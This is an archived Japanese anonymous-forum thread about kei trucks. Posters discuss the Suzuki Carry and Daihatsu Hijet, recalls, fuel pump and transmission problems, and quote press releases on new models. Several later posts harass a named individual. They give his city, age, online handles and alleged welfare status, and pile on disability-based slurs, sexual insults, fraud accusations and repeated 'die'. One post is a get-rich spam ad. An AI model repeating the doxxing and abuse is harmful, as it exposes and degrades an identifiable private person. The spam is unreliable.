ttp://autoc-one.jp/subaru/samber/special-825785/ 軽トラのシートなんですが
楽天で買うとしたら、どれがいいでしょうか?
どの素材がいいか判断できません >>231
軽トラシートでググレ テント屋でつくってる ワーゲンのレプリカで軽ワゴンなんかあるけど、スカニアとかボルボのレプリカ軽トラなんてあるといいな キャブ周りだけだけどね! 軽トラってハイゼットやキャリーみたいなダイハツやスズキの軽メーカーのが良さそうだけど、車体性能はミニエースの方が上だろうな
ただ扱ってる店少なそうだから、インフラを含めたトータルではハイゼット、キャリーが上だろうけど
オイル漏れリコール
リコールの届出について(三菱 eK−WAGON 他)
三菱自動車工業株式会社から、平成24年1月26日国土交通大臣に対して、
下記のとおりリコールの届出がありましたので、お知らせします。
国土交通省
ttp://www.mlit.go.jp/report/press/jidosha08_hh_000991.html ダイハツ工業株式会社 (ダイハツこうぎょう、 Daihatsu Motor Co. Ltd.)
本社は大阪府池田市
ブランド名、社名の由来は
地名と前社名の「 大阪 」と「 発動機製造 」の頭文字を組み合わせた「 大発 (だいはつ )」から。
現在はトヨタ自動車の「 連結子会社 」であり、トヨタ色が強くなっている。
沿革
1967年、トヨタ自動車と業務提携。
1998年、トヨタ自動車がダイハツ工業株の「 過半数 」を取得し、トヨタ自動車の連結子会社(トヨタ傘下)となる。 レセナまで韓国人が出てる
もう絶対レセナ買うもんか キャリイかハイゼットか悩んで早半年…未だに決まらない(笑) >>241
そうこうしているうちにモデルチェンジして
思考が振り出しに戻るわけだなw スズキのキャリイDB52Tですが、どうも燃料ポンプが故障したみたいです
DB52Tのポンプはエブリなど他の車種と流用できますか?
金が無いので自分でなんとかしたいです
お願いします スズキ/新型軽トラックを9月20日発売
http://lnews.jp/2013/08/f082903.html
スズキは8月29日、新型軽トラック「キャリイ」を9月20日から発売すると発表した。
<キャリイKX>
http://lnews.jp/images/2013/08/20130829suzuki.jpg
14年ぶりに全面改良した新型「キャリイ」は、車体のレイアウトを全面的に見直すことで、クラストップの
荷台フロア長はそのままに、居住空間を拡大し、ゆとりある快適なキャビンを実現した。
悪路での走破性に優れたショートホイールベース仕様に統一し、クラストップの小回り性能を発揮。さら
にR06A型エンジンの採用と50kgの軽量化により、2WD・5MT車で18.6km/Lと、クラストップの低燃費を
実現した。
また、徹底したサビ対策を施した長期サビ保証に加え、オフセット衝突法規にも対応した強いボディー、
夜間走行でも明るい視界を確保するフォグランプを標準装備(KX)するなど、耐久性や安全性も向上させた。
販売目標台数は5万5000台/年。
価格はKXの2WD・5MTで91万350円(消費税込)ほか、13パターンの機種がある。
この写真みて「あれ、とうとうスズキがホンダ・アクティをOEM供給してもらうんか?」と思ってしまった ダイハツ/軽商用車ハイゼットトラック特別仕様車設定
2013年12月20日
http://lnews.jp/2013/12/f122001.html
ダイハツは12月20日、軽商用車「ハイゼット トラック」に特別仕様車「VS」シリーズを設定し発売した。
<ハイゼット エクストラ「VS」>
http://lnews.jp/images/2013/12/20131220daihatsu.jpg
特別仕様車「VS」は、エクストラ、エアコン・パワステスペシャル、農用スペシャル、 特装車シリーズのハイルーフに設定。メッキグリルの
追加や、特別仕様車専用色を設定しボディカラーを4色展開とするなど外観の質感を向上。
防錆対策やサビ保証期間の延長、従来から顧客に好評のメーカーオプションを標準装備とするなど、より顧客の使用用途に適した商用車
となっている。
特別仕様車専用の装備を設定しながら、価格を据え置き、希望小売価格は、エアコン・パワステ スペシャル「VS」が5MT、2WDで72万5000円
(消費税込)、エクストラ「VS」が5MT、2WDで92万円。 スズキ/新型軽トラックにディスチャージヘッドランプ装着車を設定
2014年02月24日
http://lnews.jp/2014/02/g022406.html
スズキは2月24日、新型軽トラック「キャリイ」に軽トラックで初めてディスチャージヘッドランプを
装着した機種を設定し発売を開始した。
<キャリイKXディスチャージヘッドランプ装着車>
http://lnews.jp/images/2014/02/20140224suzuki.jpg
ハロゲンランプに比べて明るく、照射距離の長いディスチャージヘッドランプ装着車をメーカー
オプションで設定(KC エアコン・パワステ、KX)し、幅広いニーズに対応した。
メーカー希望価格はKX(エンジン0.66L DOHC 吸気VVT)4WD、5MTで118万7550円。 チャリ―プロジェクターランプなんだよwww
あれダメよ・・・雨の日、雪の日、暗すぎてだめだわwww 今更だが、サンバーみたいなフルキャブってもろにクラッシャブルゾーンに足を突っ込んでいるよな(-_-;)
セミキャブなら幾分かはましなのだろうか 【自動車】三菱自動車、軽商用車『ミニキャブ』と軽ワゴンをフルモデルチェンジ--スズキからOEM供給受ける [03/01]
http://anago.2ch.net/test/read.cgi/bizplus/1393644677/ >>256
良く言われるけど実際はそう変わらんよ。
セミキャブで潰れると固いタイヤホイルが車ににめり込んできて
生存空間圧迫するし。 すいません、中古の軽トラでとにかく壊れなくて一番安いのは何でしょうか? >>261
サンバーは金があって遊び権本気の時にそこそこのグレードのやつ買いたいから他ので
やっぱダイハツかなぁ 走行距離1800kmのハイゼット
一昨日高速で5速走行中にギアが勝手にニュートラルに抜けた。
急に速度が落ちたから驚くぜ。何度も同じ症状になる。
さっきディーラーで診断してもらったら、ミッションアセンブリ丸ごと交換を勧められた。17万円だと...orz アクティはエンジンを前後の車軸の間に置くMR(ミッドシップリアドライブ)方式。
2WDの空荷時でも後輪が滑らず坂道登れるんだよな。
これホント便利だったわ。もう一度アクティが欲しい。 >>1
FD830というホんモのの荒らしにご注意ください。
ヒトリで勝手にやる珍ミョ〜なあの被害妄想と意味不明なひとりごとや複数IDによる自演や無関係な他人の巻きこみ(笑)とかの愚行を貫くために断固他人からの意見に耳を傾けませんwww
http://minkara.carview.co.jp/userid/2170754/profile
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HOST:p1029-ipngn100407kyoto.kyoto.ocn.ne.jp<8080><3128><8000><1080>[180.48.104.29]
なんだかなあ… >>263
そりゃ、あんた、保証期間内で無料交換があたり前じゃないのか? ミニキャブがスズキのOEMになったのを知った時は、泣きそうになったよ。 >>269
そんなもん、高いし、航続距離からして使い物になりがたしと思うけど。 ミニキャブミーブはハウスの中に入れられるから、お値段がこなれてきたら便利そうではある。 >>271
こなれた価格の中古は、バッテリーもお疲れさんな気がしないでもないw
ハウス内なら中で充電も出来るから、新車時から容量50%ダウンなんてのでも大丈夫かもしれないけど。。 >>272
電源来てるハウスなら、ケーブルつないだまま、使えばいいんだよ。 1分くらいなら、エンジン取っ払って、セルモーターだけで走れそうだ。 スズキ・キャリィトラックの5AGSはすべてのAT/MTキャリィトラックを「過去」にする。 いま帰宅してブレーキランプ切れ見つけたんだけど、これいくら? 確かに赤くて丸いけど、いくらはそんなに大きくない! 俺はsaitama県hannou市最強安藤隆行様だwwww
文句あるやつ誰?
俺のトラック知識でぶっ潰すwwww
俺の愛車は185系サーフwwww
平成9年式wwww
走行距離は20万キロ超えwwww
エンジンはディーゼルターボwwww
saitamaからaomoriとかhamamatsuまで走りまくるwwww
商用車全般が好きwwww
音楽はハウス・ラウンジミュージックにはまってるwwww
デコトラとバスは勉強中...wwww
画像の保存禁止とか言う人、ナンバーや屋号等の画像処理をしない人とは合わないと思いますwwww
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俺はsaitama県hannou市最強のスーパートラックマニア安藤 隆行様だwwww
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softbank126048168039.bbtec.net 大阪に住んでるのですが、ハイゼットで
4wdやジャンボ、色もさまざま置いてるのが見れるとこしりませんか。
できればパートタイムも いろいろと役に立つPCさえあれば幸せ小金持ちになれるノウハウ
知りたい方だけみるといいかもしれません
グーグル検索⇒『金持ちになりたい 鎌野介メソッド』
EL5PK >>1
■■■■79926安藤 隆行FD830birth■■■■ 明るいライトの軽トラはLEDライトですか?
HIDですか? 純正のアオリゴムがダメになったので、コメリで汎用のアオリゴムを買ってきて、ネジ留めしてみた。 エーモンのハタラククルマシリーズ
すり傷防止フィルムとスコップ固定アタッチメント買ってきたけどまだ取り付けてない 軽トラはハンドルを抱え込むようなポジションに戸惑った >>1
キラキラではなく、粘着してるのは安藤隆行
演技性人格障害だから、せっせとルーパチして他人になりきって自演
でも、しょせん発達障害で低知能だからすぐバレる
埼玉県の飯能市に住む、発達障害でバツイチでシャクレでソチンで生活保護受給者の負け犬の40歳のオッサン
ヤフオクでtaka4runner
TwitterでFD830AS (コロコロ変えるが基本的にFD830は死守。自閉と思われる。)
fc2でトラックのアフィブログやってる・・・FD830で検索
自分より幸せだったり、お金を持ってたり、トラックのマニアックな知識があったり、プラモデルの腕が良かったり、楽しく生きてる人たちにすぐ嫉妬
死ね!死ね!喚いてスレを荒らすか叩きスレを立てて一日中一年中自演でレスバトル
ヤフオクとアフィブログで得た収入は役所の生活保護部署には未申告
発達障害の悪影響による迷惑行為ばかりしている、どうしようもない負け犬のゴミクズ 次はキャリィがハイゼットトラックのOEMになるのかな…。 キャリイDA63Tに155R12 8prを履いても平気? 干渉しませんか? >>1粘着してスレの進行を複数回線を使った、自演のレスバトルで妨げてる安藤隆行
髭発もこいつ
自分に言われて、図星で、傷ついたことを、オウム返しの、猿真似で、会ったこともない人に対して、牙を剥き出して、いきなり、延々と粘着して、罵倒しはじめる
友達がいない、演技性人格障害と反社会性人格障害と虚言癖と躁鬱だから、せっせとルーパチして他人になりきって自演
でも、しょせん発達障害で低知能だからすぐバレる
埼玉県の飯能市に住む、発達障害でソチンだけど他人のを含めたオチンチンが大好きで女性蔑視で、生活保護受給者で実年齢は42歳だけど精神年齢は4.2歳児の負け犬のオッサン
ヤフオクでtaka4runner
TwitterでFD830AS (頻繁に変えるが基本的にFD830は死守。自閉?)
fc2でトラックのアフィブログやってる
ググった知識を元にした、発達障害者特有の要領を得ない内容で、年下や、初心者や、その道のベテランやプロにドヤ顔でモヤモヤしたマニア向けの話を一席ぶつけど、相手は精神年齢が大人の人たちばかりなので、作り笑顔でお返事しあげているのに気がつかない
自分より幸せだったり、お金を持ってたり、トラックのマニアックな知識があったり、プラモデルの腕が良かったり、楽しく生きてる人たちにすぐ嫉妬
そして、その人たちの足を引っ張ることばかりする
死ね!死ね!喚いてスレを荒らすか叩きスレを立てて一日中一年中自演でレスバトル
寝ても覚めても、口にするのは「死ね!」
ヤフオクとアフィブログで得た収入は役所の生活保護部署には未申告
その利益で得た、役所には未申告の収入と、私たちの税金から出ている生活保護費を使って、トラックやプラモデルの色んなイベントに行って、写真撮りまくったり、廃車置き場めぐりをしたり、
通販でオナホを買って、暇さえあればシコりまくったり、ヤフオクでトラックのプラモデルや、実物のカタログを売り買いしたり、
他人が納めた血税を使って、働かずに人生をエンジョイしている、ウンコ以下のマジもん
発達障害の悪影響による迷惑行為ばかりしている、自分は何も持っていないのに、プライドだけは高い、どうしようもない負け犬のゴミクズ
連日の綾人サロン叩きに続き、メンタリストDaiGo叩きを追加
件の、生活保護受給者は死ね!発言がかなり効いたらしいw ■ このスレッドは過去ログ倉庫に格納されています